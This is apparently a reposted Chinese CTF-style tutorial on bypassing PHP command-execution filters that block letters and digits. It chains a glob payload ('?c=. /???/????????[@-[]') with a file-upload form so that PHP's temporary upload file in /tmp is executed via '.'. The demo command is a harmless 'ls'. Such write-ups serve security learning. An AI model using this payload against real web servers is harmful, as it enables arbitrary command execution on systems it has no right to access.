命令执行-过滤了字母或者过滤了数字+字母的绕过方法 (2)

非常妙的思路,linux中.相当于source,可以直接执行sh文件

命令执行-过滤了字母或者过滤了数字+字母的绕过方法


命令执行-过滤了字母或者过滤了数字+字母的绕过方法


不管有无文件后缀名,都是根据命令来选择打开文件的方式。

命令执行-过滤了字母或者过滤了数字+字母的绕过方法


而且因为php文件在上传时 会在服务端/tmp目录下生成php?????? 随机六个字母
所以可以通过 ?c=. /???/????????[@-[] 去进行匹配
[@-[]也是一种通配符,匹配方式是匹配@~[的范围,查ascii表可知道 正好是大写字母
然后我们生成一个提交表单

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="{.url}" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file"><br> <input type="submit" value="提交"> </form> </body> </html>

向指定url进行php文件提交 同时?c=. /???/????????[@-[]
在php文件里写入

#!/bin/bash ls

多次提交,可实现任意命令执行。

绕过了字母和数字的过滤方式

使用.去执行sh文件

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zydxfx.html